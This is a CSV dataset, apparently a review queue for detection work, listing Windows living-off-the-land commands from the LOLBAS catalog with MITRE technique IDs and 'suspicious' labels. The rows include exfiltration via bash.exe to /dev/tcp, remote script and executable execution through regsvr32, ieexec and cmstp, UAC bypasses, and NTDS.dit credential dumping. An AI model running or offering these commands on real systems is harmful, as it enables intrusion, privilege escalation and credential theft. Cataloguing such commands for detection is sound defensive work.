9c383ec51b87ea5bdd66b15e,bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24',bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24',bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bash.yml,Bash.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows 10,0.85,False,Exfiltrate data,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
de43683615d0fdddcec97e1a,bash.exe,bash.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bash.yml,Bash.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows 10, Windows Server 2019, Windows 11",0.85,False,"When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3b9268db2038b7c0f13c72a,regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll,regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regsvr32.yml,Regsvr32.exe,AWL Bypass,"[""T1218.010"", {""Execute"": ""SCT""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute the specified remote .SCT script with scrobj.dll.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b80319048e5245c5b07f9fc1,regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll,regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regsvr32.yml,Regsvr32.exe,AWL Bypass,"[""T1218.010"", {""Execute"": ""SCT""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute the specified local .SCT script with scrobj.dll.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c4ba86759d8db8d23b39e9b,regsvr32.exe /s {PATH:.dll},regsvr32.exe /s {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regsvr32.yml,Regsvr32.exe,Execute,"[""T1218.010"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1987459b1d99c1ed3b5136a0,regsvr32.exe /u /s {PATH:.dll},regsvr32.exe /u /s {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regsvr32.yml,Regsvr32.exe,Execute,"[""T1218.010"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc0e172ca354ee423e285b54,HH.exe {REMOTEURL:.bat},HH.exe {REMOTEURL:.bat},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Hh.yml,Hh.exe,Download,"[""T1105"", {""Execute"": ""EXE""}, {""Application"": ""GUI""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Open the target batch script with HTML Help.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68b68825e169e9b85e30f7a8,HH.exe {PATH_ABSOLUTE:.exe},HH.exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Hh.yml,Hh.exe,Execute,"[""T1218.001"", {""Execute"": ""EXE""}, {""Application"": ""GUI""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes specified executable with HTML Help.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4fdbf4b074bc868714179a93,HH.exe {REMOTEURL:.chm},HH.exe {REMOTEURL:.chm},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Hh.yml,Hh.exe,Execute,"[""T1218.001"", {""Execute"": ""CMD""}, {""Execute"": ""CHM""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes a remote .chm file which can contain commands.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f01e77c5f51748db8739bbef,print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe},print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Print.yml,Print.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copy file.exe into the Alternate Data Stream (ADS) of file.txt.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d1a53734619010558b9d0cc2,print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe},print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Print.yml,Print.exe,Copy,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copy file from source to destination,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
32612aa6c71e93725980e3ad,print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe},print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Print.yml,Print.exe,Copy,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ff85455c134f8df2e6d6a10,start ms-appinstaller://?source={REMOTEURL:.exe},start ms-appinstaller://?source={REMOTEURL:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/AppInstaller.yml,AppInstaller.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,"AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b6e981b3015b0fc21331ee89,wsreset.exe,wsreset.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wsreset.yml,Wsreset.exe,UAC Bypass,"[""T1548.002""]","Windows 10, Windows 11",0.85,False,"During startup, wsreset.exe checks the registry value HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command for the command to run. Binary will be executed as a high-integrity process without a UAC prompt being displayed to the user.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
352a1e871cdc44624449b86b,certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll},certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certoc.yml,CertOC.exe,Execute,"[""T1218"", {""Execute"": ""DLL""}]",Windows Server 2022,0.85,False,Loads the target DLL file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
97eaed139303977b56b9582f,certoc.exe -GetCACAPS {REMOTEURL:.ps1},certoc.exe -GetCACAPS {REMOTEURL:.ps1},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certoc.yml,CertOC.exe,Download,"[""T1105""]",Windows Server 2022,0.85,False,Downloads text formatted files,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ad2a79f9101221c29bc1138,ATBroker.exe /start malware,ATBroker.exe /start malware,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Atbroker.yml,Atbroker.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]","Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Start a registered Assistive Technology (AT).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8318b11823774ac7fa242057,cmdkey /list,cmdkey /list,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmdkey.yml,Cmdkey.exe,Credentials,"[""T1078""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,List cached credentials,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
234726b2cb984b08da6fec48,bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1,bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bitsadmin.yml,Bitsadmin.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command from an Alternate data stream, then resume and complete the job.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5a57f5d1b1eb702e457b7acf,bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1,bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bitsadmin.yml,Bitsadmin.exe,Download,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
63d5283e5cccdaa8b8532e97,bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset,bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bitsadmin.yml,Bitsadmin.exe,Copy,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Command for copying cmd.exe to another folder,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cf5032c2cf31220d55841d0d,bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset,bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bitsadmin.yml,Bitsadmin.exe,Execute,"[""T1218""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,"One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
60aacd5a84caf418934413f6,"sftp -o ProxyCommand=""{CMD}"" .","sftp -o ProxyCommand=""{CMD}"" .",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Sftp.yml,Sftp.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Spawns ssh.exe which in turn spawns the specified command line. See also this project's entry for ssh.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
23b13853489efbeee04eb64f,mmc.exe -Embedding {PATH_ABSOLUTE:.msc},mmc.exe -Embedding {PATH_ABSOLUTE:.msc},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mmc.yml,Mmc.exe,Execute,"[""T1218.014"", {""Execute"": ""COM""}]","Windows 10 (and possibly earlier versions), Windows 11",0.85,False,Launch a 'backgrounded' MMC process and invoke a COM payload,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b74c2272e6cbef46678dcb9f,mmc.exe gpedit.msc,mmc.exe gpedit.msc,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Mmc.yml,Mmc.exe,UAC Bypass,"[""T1218.014"", {""Execute"": ""DLL""}]","Windows 10 (and possibly earlier versions), Windows 11",0.85,False,Load an arbitrary payload DLL by configuring COR Profiler registry settings and launching MMC to bypass UAC.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4d33434bfc917cd18ec28759,regsvcs.exe {PATH:.dll},regsvcs.exe {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regsvcs.yml,Regsvcs.exe,Execute,"[""T1218.009"", {""Execute"": ""DLL (.NET)""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Loads the target .NET DLL file and executes the RegisterClass function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
62f24775700c515b34d6b7ca,C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u,C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Aspnet_Compiler.yml,Aspnet_Compiler.exe,AWL Bypass,"[""T1127""]","Windows 10, Windows 11",0.85,False,Execute C# code with the Build Provider and proper folder structure in place.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f013e3cefab8d5a8b6f1c607,expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat},expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Expand.yml,Expand.exe,Download,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies source file to destination.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2ca9d8a2f6a0bd329cbb6892,expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext},expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Expand.yml,Expand.exe,Copy,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies source file to destination.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc08a20f276de217efc04877,expand {PATH_SMB:.bat} {PATH_ABSOLUTE}:file.bat,expand {PATH_SMB:.bat} {PATH_ABSOLUTE}:file.bat,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Expand.yml,Expand.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies source file to destination Alternate Data Stream (ADS),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b7ec2df9345a0df1d45f262,control.exe {PATH_ABSOLUTE}:evil.dll,control.exe {PATH_ABSOLUTE}:evil.dll,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Control.yml,Control.exe,ADS,"[""T1218.002"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute evil.dll which is stored in an Alternate Data Stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d91f6b7ab9eb49121f8eeeb0,control.exe {PATH_ABSOLUTE:.cpl},control.exe {PATH_ABSOLUTE:.cpl},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Control.yml,Control.exe,Execute,"[""T1218.002"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute .cpl file. A CPL is a DLL file with CPlApplet export function),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9a72949178e8212af13e1632,"wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet","wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wbadmin.yml,wbadmin.exe,Dump,"[""T1003.003""]",Windows Server,0.85,False,Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8f79c4a2cc8486b3e708ae4b,"wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet","wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wbadmin.yml,wbadmin.exe,Dump,"[""T1003.003""]",Windows Server,0.85,False,Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
80fdd9345dbd4ef4f78df13e,cmdl32 /vpn /lan %cd%\config,cmdl32 /vpn /lan %cd%\config,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmdl32.yml,cmdl32.exe,Download,"[""T1105""]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Download a file from the web address specified in the configuration file. The downloaded file will be in %TMP% under the name VPNXXXX.tmp where ""X"" denotes a random number or letter.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b7e6f18e06d4a653347fcff,regasm.exe {PATH:.dll},regasm.exe {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regasm.yml,Regasm.exe,AWL Bypass,"[""T1218.009"", {""Execute"": ""DLL (.NET)""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Loads the target .NET DLL file and executes the RegisterClass function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a135fb205ae593162af93b0d,regasm.exe /U {PATH:.dll},regasm.exe /U {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regasm.yml,Regasm.exe,Execute,"[""T1218.009"", {""Execute"": ""DLL (.NET)""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Loads the target .DLL file and executes the UnRegisterClass function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
374058a0cd54999f154bb408,provlaunch.exe LOLBin,provlaunch.exe LOLBin,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Provlaunch.yml,Provlaunch.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022",0.85,False,"Executes command defined in the Registry. Requires 3 levels of the key structure containing some keywords. Such keys may be created with two reg.exe commands, e.g. `reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0` and `reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe`. Registry keys are deleted after successful execution.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f137e91370d6a81025c8e081,ieexec.exe {REMOTEURL:.exe},ieexec.exe {REMOTEURL:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ieexec.yml,Ieexec.exe,Download,"[""T1105"", {""Execute"": ""Remote""}, {""Execute"": ""EXE (.NET)""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Downloads and executes executable from the remote server.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fa41ece7e5171d20bda8aed9,cmstp.exe /ni /s {PATH_ABSOLUTE:.inf},cmstp.exe /ni /s {PATH_ABSOLUTE:.inf},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmstp.yml,Cmstp.exe,Execute,"[""T1218.003"", {""Execute"": ""INF""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
97b09e77351123a2e3167825,cmstp.exe /ni /s {REMOTEURL:.inf},cmstp.exe /ni /s {REMOTEURL:.inf},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmstp.yml,Cmstp.exe,AWL Bypass,"[""T1218.003"", {""Execute"": ""INF""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a4825e353772cd774d2bde9,cmstp.exe /nf,cmstp.exe /nf,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmstp.yml,Cmstp.exe,Execute,"[""T1218.003"", {""Execute"": ""DLL""}, {""Requires"": ""Registry Change""}]","Windows 10, Windows 11",0.85,False,"cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
15a487909e8a71d827620304,conhost.exe {CMD},conhost.exe {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Conhost.yml,Conhost.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Execute a command line with conhost.exe as parent process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0147d3997f7d11f92e462c5,conhost.exe --headless {CMD},conhost.exe --headless {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Conhost.yml,Conhost.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Execute a command line with conhost.exe as parent process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
221938fc490484aeb75b891b,csc.exe -out:{PATH:.exe} {PATH:.cs},csc.exe -out:{PATH:.exe} {PATH:.cs},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Csc.yml,Csc.exe,Compile,"[""T1127""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to the specified .exe path.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac63ab68ea7000cf9fd0de06,csc -target:library {PATH:.cs},csc -target:library {PATH:.cs},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Csc.yml,Csc.exe,Compile,"[""T1127""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to a DLL file with the same name.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c14302d63f63fd1fc32f5f22,ComputerDefaults.exe,ComputerDefaults.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/ComputerDefaults.yml,ComputerDefaults.exe,UAC Bypass,"[""T1548.002""]","Windows 10, Windows 11",0.85,False,"Upon execution, ComputerDefaults.exe checks two registry values at HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\open\command; if these are set by an attacker, the set command will be executed as a high-integrity process without a UAC prompt being displayed to the user. See 'resources' for which registry keys/values to set.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f1f6c32ef53fb684efb88cc8,wab.exe,wab.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wab.yml,Wab.exe,Execute,"[""T1218"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Change HKLM\Software\Microsoft\WAB\DLLPath and execute DLL of choice,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2efa7c83d0edcd501f5eee62,pcalua.exe -a {PATH:.exe},pcalua.exe -a {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pcalua.yml,Pcalua.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Open the target .EXE using the Program Compatibility Assistant.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
09aaca4b35d8110fb4c6d3a6,pcalua.exe -a {PATH_SMB:.dll},pcalua.exe -a {PATH_SMB:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pcalua.yml,Pcalua.exe,Execute,"[""T1202"", {""Execute"": ""DLL""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Open the target .DLL file with the Program Compatibilty Assistant.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f047ecfe743f29a1a5c8b4b4,pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java,pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pcalua.yml,Pcalua.exe,Execute,"[""T1202"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Open the target .CPL file with the Program Compatibility Assistant.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
